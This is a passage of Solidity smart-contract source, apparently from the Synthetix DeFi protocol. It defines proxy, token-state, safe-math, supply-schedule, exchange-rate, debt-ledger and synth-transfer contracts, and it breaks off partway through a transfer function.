require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract SupplySchedule is Owned {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct ScheduleData {
uint totalSupply;
uint startPeriod;
uint endPeriod;
uint totalSupplyMinted;
}
uint public mintPeriodDuration = 1 weeks;
uint public lastMintEvent;
Synthetix public synthetix;
uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365;
uint public constant START_DATE = 1520294400;
uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1);
uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2);
uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3);
uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4);
uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5);
uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6);
uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7);
uint8 constant public INFLATION_SCHEDULES_LENGTH = 7;
ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules;
uint public minterReward = 200 * SafeDecimalMath.unit();
constructor(address _owner)
Owned(_owner)
public
{
schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit());
schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0);
schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0);
schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0);
schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0);
schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0);
schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0);
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
}
function mintableSupply()
public
view
returns (uint)
{
if (!isMintable()) {
return 0;
}
uint index = getCurrentSchedule();
uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index);
ScheduleData memory schedule = schedules[index];
uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration);
uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod);
uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod));
uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint);
return amountInPeriod.add(amountPreviousPeriod);
}
function _numWeeksRoundedDown(uint _timeDiff)
public
view
returns (uint)
{
return _timeDiff.div(mintPeriodDuration);
}
function isMintable()
public
view
returns (bool)
{
bool mintable = false;
if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod)
{
mintable = true;
}
return mintable;
}
function getCurrentSchedule()
public
view
returns (uint)
{
require(now <= schedules[6].endPeriod, "Mintable periods have ended");
for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) {
if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) {
return i;
}
}
}
function _remainingSupplyFromPreviousYear(uint currentSchedule)
internal
view
returns (uint)
{
if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) {
return 0;
}
uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted);
if (amountInPeriod < 0) {
return 0;
}
return amountInPeriod;
}
function updateMintValues()
external
onlySynthetix
returns (bool)
{
uint currentIndex = getCurrentSchedule();
uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex);
uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount);
if (lastPeriodAmount > 0) {
schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount);
}
schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount);
lastMintEvent = now;
emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now);
return true;
}
function setMinterReward(uint _amount)
external
onlyOwner
{
minterReward = _amount;
emit MinterRewardUpdated(_amount);
}
modifier onlySynthetix() {
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp);
event MinterRewardUpdated(uint newRewardAmount);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
uint newInverseRate = rates[currencyKey];
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(rateForCurrency(destinationCurrencyKey));
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
public
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier rateNotStale(bytes4 currencyKey) {
require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract ISynthetixState {
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
uint[] public debtLedger;
uint public issuanceRatio;
mapping(address => IssuanceData) public issuanceData;
function debtLedgerLength() external view returns (uint);
function hasIssued(address account) external view returns (bool);
function incrementTotalIssuerCount() external;
function decrementTotalIssuerCount() external;
function setCurrentIssuanceData(address account, uint initialDebtOwnership) external;
function lastDebtLedgerEntry() external view returns (uint);
function appendDebtLedgerValue(uint value) external;
function clearIssuanceData(address account) external;
}
contract SynthetixState is ISynthetixState, State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public importedXDRAmount;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = importedXDRAmount;
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
importedXDRAmount = newTotalDebtIssued;
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
contract IFeePool {
address public FEE_ADDRESS;
function amountReceivedFromExchange(uint value) external view returns (uint);
function amountReceivedFromTransfer(uint value) external view returns (uint);
function feePaid(bytes4 currencyKey, uint amount) external;
function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external;
function rewardsMinted(uint amount) external;
function transferFeeIncurred(uint value) public view returns (uint);
}
contract Synth is ExternStateToken {
IFeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
